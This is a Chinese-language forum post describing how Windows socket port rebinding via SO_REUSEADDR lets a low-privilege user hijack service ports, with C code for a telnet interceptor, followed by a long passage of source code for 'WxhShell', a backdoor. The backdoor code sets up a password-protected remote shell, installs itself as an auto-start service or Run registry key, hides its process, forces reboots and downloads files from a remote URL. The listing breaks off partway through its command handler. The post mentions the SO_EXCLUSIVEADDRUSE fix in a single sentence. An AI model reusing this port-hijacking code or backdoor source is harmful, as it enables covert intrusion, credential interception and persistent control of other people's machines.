社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 11445阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A QPzId*z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~2UmX'  
'EB5#  
  saddr.sin_family = AF_INET; 1#x@  
lgC^32y  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); zc1~ q  
XeozRfk%J|  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 787}s`,}  
\r}*<CRr6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;nb>IL  
}b>e lz  
  这意味着什么?意味着可以进行如下的攻击: XRn+6fn|  
a61?G!]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 R/&C}6G n  
}S9uh-j6l  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Yt;@ @xe&  
2vW@d[<J  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 wQU-r|  
r]%.,i7~8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '~76Y9mv  
TzrU |D?  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yjucR Fl  
^Y^5 @ x=  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 NmV][0(BS  
HgRfMiC  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]2xoeNF/W{  
{N0ky=u d  
  #include [,qb) &_  
  #include DO? bJ01  
  #include cx4'rK.  
  #include    1F?ylZ|~  
  DWORD WINAPI ClientThread(LPVOID lpParam);   5O"wPsl  
  int main() uzLIllVX*  
  { W97 &[([  
  WORD wVersionRequested; +e) RT<  
  DWORD ret; dYhLk2  
  WSADATA wsaData; ]GPUL>7  
  BOOL val; Q$2^m(?;  
  SOCKADDR_IN saddr; |)Sx"B)  
  SOCKADDR_IN scaddr; yGPi9j{QXq  
  int err; +,}CuF  
  SOCKET s; 0'Qo eFKG  
  SOCKET sc; 2 Xc,c*r  
  int caddsize; z(beT e  
  HANDLE mt;  h93  
  DWORD tid;   LWP&Si*j  
  wVersionRequested = MAKEWORD( 2, 2 ); q8vRUlf  
  err = WSAStartup( wVersionRequested, &wsaData ); [>f4&yY  
  if ( err != 0 ) { XcQ'(  
  printf("error!WSAStartup failed!\n"); !O#NP!   
  return -1; .:jfNp~jt  
  } [u`9R<>c"U  
  saddr.sin_family = AF_INET; "O{:jfq  
   w5}2$r  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _:9-x;0H2  
z/7"!  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); L QP4#7  
  saddr.sin_port = htons(23); R P6R1iN3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) siGt5RH*  
  { cx(b5Z  
  printf("error!socket failed!\n"); 0)3*E)g{  
  return -1; qbdv  
  } UkBr4{+aE  
  val = TRUE; qxglA*/ [  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 H>5@/0cL2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) K\>CXa  
  { W= \gPCo  
  printf("error!setsockopt failed!\n"); y'pX/5R0  
  return -1; (6\ H~  
  } |/AY!Y3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;/-#oW@gQ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 kzb1iBe 6m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 iG;GAw|E  
We,~P\g  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) j!<RY>u  
  { gL;tyf1P  
  ret=GetLastError(); r`(U3EgP  
  printf("error!bind failed!\n"); sp$W=Wu7  
  return -1; GPnSdGLC  
  } FzGla})  
  listen(s,2); ZN?UkFnE  
  while(1) ;}gS8I|  
  { tvG/oe .1'  
  caddsize = sizeof(scaddr); .%EEly  
  //接受连接请求 +Udlt)H  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); L1E\^)  
  if(sc!=INVALID_SOCKET) s"\o6r ,  
  { BpKgUwf;C  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); APR%ZpG  
  if(mt==NULL) 6?c(ueiL[  
  { SpUcrK;1  
  printf("Thread Creat Failed!\n"); M0zlB{eH  
  break; Px))O&w{  
  } A">A@`}  
  } L3- tD67oa  
  CloseHandle(mt); :S5B3S@|  
  } oLp:Z=  
  closesocket(s); _*Z2</5  
  WSACleanup(); u)fmXoQ  
  return 0; !]k$a  
  }   3_tO  
  DWORD WINAPI ClientThread(LPVOID lpParam) i3} ^j?jA2  
  { ]gQ4qu5  
  SOCKET ss = (SOCKET)lpParam; ,fwN_+5  
  SOCKET sc; ?pv}~>  
  unsigned char buf[4096]; O{9h'JU  
  SOCKADDR_IN saddr; V OViOD  
  long num; fw1g;;E  
  DWORD val; )d6Ya1vJH  
  DWORD ret; \'40u|f  
  //如果是隐藏端口应用的话,可以在此处加一些判断 K}U}h>N  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ' cl&S:  
  saddr.sin_family = AF_INET; 5? s$(Lt~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); *:}NS8hP  
  saddr.sin_port = htons(23); ZrFC#wJb  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8?r ,ylUj  
  { x1kb]0s<-  
  printf("error!socket failed!\n"); DN@T4!  
  return -1; $Y4;Xe=  
  } \}e1\MiZ  
  val = 100; dEp?jJP$;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +)fl9>Mb  
  { !:mo2zA  
  ret = GetLastError(); 0VB~4NNR  
  return -1; rs R0V+(W  
  } !s]LWCX+|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) QMfa~TH#p  
  { j[h4F"`-  
  ret = GetLastError(); r^k:$wJbRK  
  return -1; l*]*.?m/5  
  } GiN\nu<!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) HX{O@  
  { >]k'3|vV  
  printf("error!socket connect failed!\n"); YGObTIGJvf  
  closesocket(sc); oP".>g-.  
  closesocket(ss); ?*z#G'3z1  
  return -1; :sBg+MS  
  } t,.MtU>K@  
  while(1) $Rsf`*0-  
  { 5B? >.4R  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 wvm`JOP:A  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |Y!#`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5xi f0h-`  
  num = recv(ss,buf,4096,0); y.~y*c6,g  
  if(num>0) tw]RH(g+#  
  send(sc,buf,num,0); cRX0i;zag  
  else if(num==0) |.Bb Pfe8f  
  break; oO|zRK1;/  
  num = recv(sc,buf,4096,0); gaC^<\J  
  if(num>0) u><gmp&  
  send(ss,buf,num,0); RvYH(!pQ  
  else if(num==0)  # a 'h,  
  break; 9psX"*s  
  } '@u/] ra:  
  closesocket(ss); z$E+xZ  
  closesocket(sc); pI |;  
  return 0 ; ' @M  
  } >yn%.Uoh@  
d9[*&[2J|  
0!rU,74I=  
========================================================== A:EF#2) g  
{b>tX)Tep  
下边附上一个代码,,WXhSHELL l/_3H\iM  
%,GY&hTw  
========================================================== SU9#Y|I  
Pn5@7~  
#include "stdafx.h" lC +p2OG^[  
WJZW5 Xt  
#include <stdio.h> mk1;22o{TX  
#include <string.h> H>e?FDs0*R  
#include <windows.h> F9ry?g=h  
#include <winsock2.h> x{C=rdp__  
#include <winsvc.h> ?MuM _6  
#include <urlmon.h> qu8i Jq  
REhXW_x  
#pragma comment (lib, "Ws2_32.lib") 2"NRnCx *  
#pragma comment (lib, "urlmon.lib") . x~tEe  
#JGy2Hk$^  
#define MAX_USER   100 // 最大客户端连接数 W?G4\ubM3<  
#define BUF_SOCK   200 // sock buffer abUn{X+f~  
#define KEY_BUFF   255 // 输入 buffer ( =->rP  
PEoO s  
#define REBOOT     0   // 重启 !J[3U   
#define SHUTDOWN   1   // 关机 cU5x8[2  
~ @Ib:M  
#define DEF_PORT   5000 // 监听端口 Bm%:Qc*  
xmTa$tR+  
#define REG_LEN     16   // 注册表键长度 N<:5 r  
#define SVC_LEN     80   // NT服务名长度 *J?QXsg  
mUzNrkG(G  
// 从dll定义API 7[QU *1bk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); __$IbF5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =A<kDxqH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &TSt/b/+W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -[v:1\Vv  
O1coay  
// wxhshell配置信息 Y*3qH]  
struct WSCFG { bmc1S  
  int ws_port;         // 监听端口 7(eWBJfTo  
  char ws_passstr[REG_LEN]; // 口令 Fg?Gx(g4  
  int ws_autoins;       // 安装标记, 1=yes 0=no qI<6% ^i  
  char ws_regname[REG_LEN]; // 注册表键名 ,v$gQU2  
  char ws_svcname[REG_LEN]; // 服务名 X}_}`wIn  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (80]xLEBL  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 31wact^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =+97VO(w]G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no NDU,9A.P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C+,;hj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #18H Z4N  
m1VyYG  
}; `,aPK/  
PX[taDN  
// default Wxhshell configuration ^M  PU?k  
struct WSCFG wscfg={DEF_PORT, 1okL]VrI  
    "xuhuanlingzhe", zrE ~%YR  
    1, on(F8%]zE  
    "Wxhshell", z}s0D]$+x  
    "Wxhshell", ?.IT!M}DR  
            "WxhShell Service", y)|Q~8r  
    "Wrsky Windows CmdShell Service", E*7B5  
    "Please Input Your Password: ", 4CS 9vv)9R  
  1, `l1{BU  
  "http://www.wrsky.com/wxhshell.exe", KB7CO:  
  "Wxhshell.exe" 9<WMM)  
    }; f/?# 1  
4 Yc9Ij  
// 消息定义模块 vd SV6p.d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4<70mUnt  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5P -IZ8~$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U{RW=sYB~9  
char *msg_ws_ext="\n\rExit."; S,lJ&Rsu  
char *msg_ws_end="\n\rQuit."; 3otia ;&B  
char *msg_ws_boot="\n\rReboot..."; #DwTm~V0"  
char *msg_ws_poff="\n\rShutdown..."; cuBOE2vB.  
char *msg_ws_down="\n\rSave to "; R"Hhc(H  
: +/V  
char *msg_ws_err="\n\rErr!"; ,JN2q]QPP  
char *msg_ws_ok="\n\rOK!"; fg%I?ou  
"Q A#  
char ExeFile[MAX_PATH]; lOPCM1Se  
int nUser = 0; @ I LG3"  
HANDLE handles[MAX_USER]; y;yXOE_  
int OsIsNt; ^T)HRT-k  
7tfMD(Q]e/  
SERVICE_STATUS       serviceStatus; ly}6zOC\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 0MF[e3)a  
.Hl]xI$;+  
// 函数声明 F5wCl2I  
int Install(void); 4VSlgoz  
int Uninstall(void); Y;p _ff  
int DownloadFile(char *sURL, SOCKET wsh); $s4rG=q  
int Boot(int flag); x<"1T w5e  
void HideProc(void); syA*!Up  
int GetOsVer(void); CVo@zr$  
int Wxhshell(SOCKET wsl); 3)T'&HKQ  
void TalkWithClient(void *cs); *O#%hTYq  
int CmdShell(SOCKET sock); kUmrJBh$  
int StartFromService(void); \kvd;T#t6  
int StartWxhshell(LPSTR lpCmdLine); rm;'/l8Y-E  
VThcG( NF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); cTHSPr?<  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); xpx=t71Hq  
y!6B Gz  
// 数据结构和表定义 ANc)igo  
SERVICE_TABLE_ENTRY DispatchTable[] = kTAb <  
{ 7;#9\a:R?  
{wscfg.ws_svcname, NTServiceMain}, {x W? v;  
{NULL, NULL} Q$Ga.fI  
}; 7$<.I#x  
wXMKQ)$(  
// 自我安装 Q'~kWmLf  
int Install(void) >t)vQ&:;u  
{ U>IllNd  
  char svExeFile[MAX_PATH]; VtUe$ft  
  HKEY key; Y _m4:9p  
  strcpy(svExeFile,ExeFile);  Mhm3u  
}\:3}'S.$  
// 如果是win9x系统,修改注册表设为自启动 f'0n^mSP  
if(!OsIsNt) { HlqCL1\<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Yew n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cNtGjLpx;  
  RegCloseKey(key); [pUw(KV2m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^G[xQcM73  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -X'HZ\)  
  RegCloseKey(key); bvuoGG*  
  return 0; gYA|JFi  
    } &8_]omuNV  
  } 0Jm6 r4s?  
} --d<s  
else { ;gY W!rM  
U[*VNJSp  
// 如果是NT以上系统,安装为系统服务 F^ 7qLvh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);  iE=Yh  
if (schSCManager!=0) =<e|<EwSZ  
{ (wEaa'XL  
  SC_HANDLE schService = CreateService L@HPU;<  
  ( l_hM,]T0  
  schSCManager, Y;8Ys&/t  
  wscfg.ws_svcname, _7'9omq@  
  wscfg.ws_svcdisp, {E-.W"t4  
  SERVICE_ALL_ACCESS, "XT7;!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]|it&4l  
  SERVICE_AUTO_START, uM h[Ht^.  
  SERVICE_ERROR_NORMAL, V%8?f,  
  svExeFile, NZdjS9  
  NULL, iZ<^p1i  
  NULL, "CLoM\M)  
  NULL, ym9Z:2g  
  NULL, p~6/+ap  
  NULL "+/%s#&  
  ); ?:vp3f#  
  if (schService!=0) 9un]}7^  
  { n$ $^(-g@)  
  CloseServiceHandle(schService); lqn7$  
  CloseServiceHandle(schSCManager); {a\O7$A\F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 5ppOG_  
  strcat(svExeFile,wscfg.ws_svcname); 'MRvH lCM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { L^i=RGx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Nz_c]3_j  
  RegCloseKey(key); M$~3`n*^  
  return 0; $m,gQV~4  
    } 91qk0z`N  
  } Ef{rY|E  
  CloseServiceHandle(schSCManager); <cNXe4(  
} WSi`)@.X O  
} J( JsfU4  
u~[HC)4(0  
return 1; fuSfBtLPR#  
} LSQWveZz  
59!yz'feF  
// 自我卸载 t ~ruP',~\  
int Uninstall(void) Zt4g G KG  
{ i]J*lM7'  
  HKEY key; s:3 altv  
#"-?+F=rk  
if(!OsIsNt) { X TEC0s"F  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I=o[\?u*_  
  RegDeleteValue(key,wscfg.ws_regname); to,DN2rN  
  RegCloseKey(key); ("Z;)s4q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4 YDK`:4I~  
  RegDeleteValue(key,wscfg.ws_regname); ~XN--4%Q  
  RegCloseKey(key); ;*1bTdB5a  
  return 0; uPKq<hBI  
  } KY34Sc  
} QEKSbxL\W  
} [zv>Wlf,%  
else { !l|v O(  
6r! Y ~\@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4 AZ~<e\  
if (schSCManager!=0) T Po%zZo  
{ :xJ]# t..  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qX{"R.d  
  if (schService!=0) oNQ;9&Z,^2  
  { (XA=d 4  
  if(DeleteService(schService)!=0) { R,R[.2Vi  
  CloseServiceHandle(schService); (;v)0&h  
  CloseServiceHandle(schSCManager); 7 K.&zn  
  return 0; J!5BH2bg  
  } %|E'cdvkX  
  CloseServiceHandle(schService); JYuI~<:  
  } E}AOtY5a  
  CloseServiceHandle(schSCManager); 2w\$}'  
} J@D5C4>i  
} 0 zm)MSg  
R)i  
return 1; n X4R  
} S$J}>a#Ry  
Xou1X$$z  
// 从指定url下载文件 [p[nK=&r  
int DownloadFile(char *sURL, SOCKET wsh) WeDeD\zy  
{ maAZI-H{  
  HRESULT hr; L1=3_fO  
char seps[]= "/"; bj23S&  
char *token; \Zc$X^}vN  
char *file; J$6h% Eyo  
char myURL[MAX_PATH]; AQ n>K{M  
char myFILE[MAX_PATH]; :*bv(~FW  
%x@ D i`;  
strcpy(myURL,sURL); >dKK [E/[d  
  token=strtok(myURL,seps); dv=y,q@W  
  while(token!=NULL) %pj 6[x`@  
  { RrrW0<Ed  
    file=token; r@N 0%JZZ  
  token=strtok(NULL,seps); 5tPBTS<<"L  
  } K$OxeJP?F  
f!6oW(r-L  
GetCurrentDirectory(MAX_PATH,myFILE); =|>CB  
strcat(myFILE, "\\"); Y<|!)JLB2  
strcat(myFILE, file); S\fEV"  
  send(wsh,myFILE,strlen(myFILE),0); 3sG7G:4  
send(wsh,"...",3,0); 1Vq]4_09g1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lOIBX@K E  
  if(hr==S_OK) mr:;Wwd  
return 0; q-s! hiK  
else X-1<YG  
return 1; o?n lnoe  
M|!^ #!a(  
} L9tjH C]  
}OY]mAv-B  
// 系统电源模块 kwxb~~S}h(  
int Boot(int flag) dxqVZksg(9  
{ @X`~r8&  
  HANDLE hToken; N]n]7(e+0C  
  TOKEN_PRIVILEGES tkp; i9Fg  
C!Cg.^;  
  if(OsIsNt) { k. bzh.  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E)==!T@E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n]M1'yU  
    tkp.PrivilegeCount = 1; hsV+?#I  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )aoB -Lu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); is=sV:j:  
if(flag==REBOOT) { +mRFHZG  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FR~YO|4?  
  return 0; ?^Sk17G  
} ").MU[q%Y  
else { *M5 : \+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <viIpz2jh%  
  return 0; u@|izRk  
} aE}1~`  
  } ;>^oe:@  
  else { G| 7\[!R  
if(flag==REBOOT) { &`>[4D*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \s<7!NAE4  
  return 0; oI=7X*B9  
} <S~_|Y*v  
else { IOA"O9;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p.KX[I  
  return 0; 9hAS#|vK  
} mv@cGdxu  
} KTn,}7vZ  
8 vNgePn  
return 1; gfQ&U@N  
} *8}Y0V\s  
=4GJYhj  
// win9x进程隐藏模块 (]wi^dE  
void HideProc(void) }.Eq_wP<  
{ WqN=  D5  
=a rk?<E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %M8Egr2|0  
  if ( hKernel != NULL ) a%*l]S0z"  
  { ~ILig}I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ;9r Z{'i+|  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); AH`n  
    FreeLibrary(hKernel); @rs(`4QEh  
  } R"(rL5j  
v-6" *EP  
return; ?fv?6r  
} qGMM3a)Q  
';` fMcN  
// 获取操作系统版本 Ke-Q>sm2Q  
int GetOsVer(void) M0!;{1  
{ +3.Ik,Z}zq  
  OSVERSIONINFO winfo; $iQ>c6  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \~xI#S@  
  GetVersionEx(&winfo); kg[u@LgvoN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ke[doQ#c  
  return 1; .(o]d{ '-}  
  else F\1nc"K/(  
  return 0; Z4FyuWc3  
} )/k0*:OMyO  
Hh @q;0ni  
// 客户端句柄模块 K%LDOVE8e  
int Wxhshell(SOCKET wsl) H e]1 <tx  
{ E/cA6*E[.<  
  SOCKET wsh; 70_T;K6  
  struct sockaddr_in client; CCKg,v  
  DWORD myID; WtI1h`Fo  
H3{x; {.b  
  while(nUser<MAX_USER) :QgC Zq  
{ ~45u a  
  int nSize=sizeof(client); E#"QaI8`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \C.%S +u  
  if(wsh==INVALID_SOCKET) return 1; 1A^iUC5)  
i} 96, {  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .lu:S;JSnS  
if(handles[nUser]==0) Rde_I`Ru  
  closesocket(wsh); >4TJH lB}8  
else FzmCS@yA  
  nUser++;  k*|dX.C:  
  } Rs B o\#`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); EQPZV K/  
 iU^ 4a  
  return 0; O;M_?^'W  
} #oMbE<//"  
Pg[zRRf<  
// 关闭 socket QiWv  
void CloseIt(SOCKET wsh) ':# ?YQ}2  
{ %sC,;^wla'  
closesocket(wsh); bGRI^ [8#+  
nUser--;  d$ Mk  
ExitThread(0); ezTu1-m  
} S-Va_ t$  
/rp4m&!  
// 客户端请求句柄 Bp\io$(%  
void TalkWithClient(void *cs) C>cc!+n%H  
{ R#~}ZUk2  
G B!3` A%&  
  SOCKET wsh=(SOCKET)cs; 7HPLD&WPt  
  char pwd[SVC_LEN]; ,4j$kR  
  char cmd[KEY_BUFF]; i=_leC)rl  
char chr[1]; #%VprcEK  
int i,j; T Uhp  
*pP"u::S  
  while (nUser < MAX_USER) { 0kgK~\^,.O  
t )Z2"_5  
if(wscfg.ws_passstr) { Bir }X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oSNB\G<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !boKrSw  
  //ZeroMemory(pwd,KEY_BUFF); yP0P-8  
      i=0; iM2 EEC  
  while(i<SVC_LEN) { fEs957$  
`'Ta=kd3  
  // 设置超时 ;t%L (J  
  fd_set FdRead; L:YsAv  
  struct timeval TimeOut; 1 hZM))  
  FD_ZERO(&FdRead); y:4Sw#M%(  
  FD_SET(wsh,&FdRead); ;0E"4(S.q1  
  TimeOut.tv_sec=8; j-gLX  
  TimeOut.tv_usec=0; ;KQ'/nII  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2BH>TmS  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); a2/r$Tgm  
9?D7"P+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w :FH2*  
  pwd=chr[0]; &_4A6  
  if(chr[0]==0xd || chr[0]==0xa) { UTA0B&aB  
  pwd=0; wdBytH6r.  
  break; ?3SlvKI}H`  
  } $ajw]2kx  
  i++; B0p>'O2  
    } SUD]Wl7G`r  
=)M8>>l  
  // 如果是非法用户,关闭 socket };9dd3X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh);  %W"\  
} PkDL\Nqe  
x|0Q\<mEe  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L:Wy- Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b("CvD8  
^S ,E"Q  
while(1) { miS+MK"  
{J})f>x<xM  
  ZeroMemory(cmd,KEY_BUFF); %>I!mD"X\  
!P@u4FCs  
      // 自动支持客户端 telnet标准   yfTnj:Fz  
  j=0; n_Um)GI>  
  while(j<KEY_BUFF) { u;J=g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \(T; @r  
  cmd[j]=chr[0]; :#TJ-l:#  
  if(chr[0]==0xa || chr[0]==0xd) { _Fl]zs<  
  cmd[j]=0; pE `Q4:<A  
  break; 6$PfX.Fh  
  } OD\x1,E)I  
  j++; CyG@  
    } w**.8]A"N  
>qtB27jV  
  // 下载文件 FGwz5@|E  
  if(strstr(cmd,"http://")) { DP^{T/G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); )\mklM9Z  
  if(DownloadFile(cmd,wsh)) 5mSXf"R^  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); wT*N{).  
  else tHoFnPd\|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pvmm" f  
  } yWzvE:!)  
  else { )Xd=EWGUS  
GsDSJz  
    switch(cmd[0]) { QQ2xNNF[  
  o\|dm. "f  
  // 帮助 Dj!J 4uD  
  case '?': { YY7:WQS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !&Q,]\j  
    break; 8.-PQ  
  } *<9D]  
  // 安装 I$f:K]|.m!  
  case 'i': { Fi5,y;]R  
    if(Install()) $,i:#KT`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K:'pK1zy  
    else FC]? T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Rb,`%  
    break; -^#Ix;%  
    }  )_j.0a  
  // 卸载 rcI(6P<*  
  case 'r': { ;uoH+`pf  
    if(Uninstall()) K?I@'B'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "#4PU5.  
    else -D!F|&$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I*lq0&  
    break; ZlO@PlZ)  
    } uaU!V4-  
  // 显示 wxhshell 所在路径 7ZZSAI  
  case 'p': { Y!POUMA }A  
    char svExeFile[MAX_PATH]; 1M 3U)U  
    strcpy(svExeFile,"\n\r"); SF.,sCk  
      strcat(svExeFile,ExeFile); a S<JsB  
        send(wsh,svExeFile,strlen(svExeFile),0); 0*g psS  
    break; TP^.]I O-  
    } W;KHLHp-  
  // 重启 +!_^MBkk  
  case 'b': { #G*z{BRQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #mllVQ  
    if(Boot(REBOOT)) vjXvjv{t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ).ugMuk  
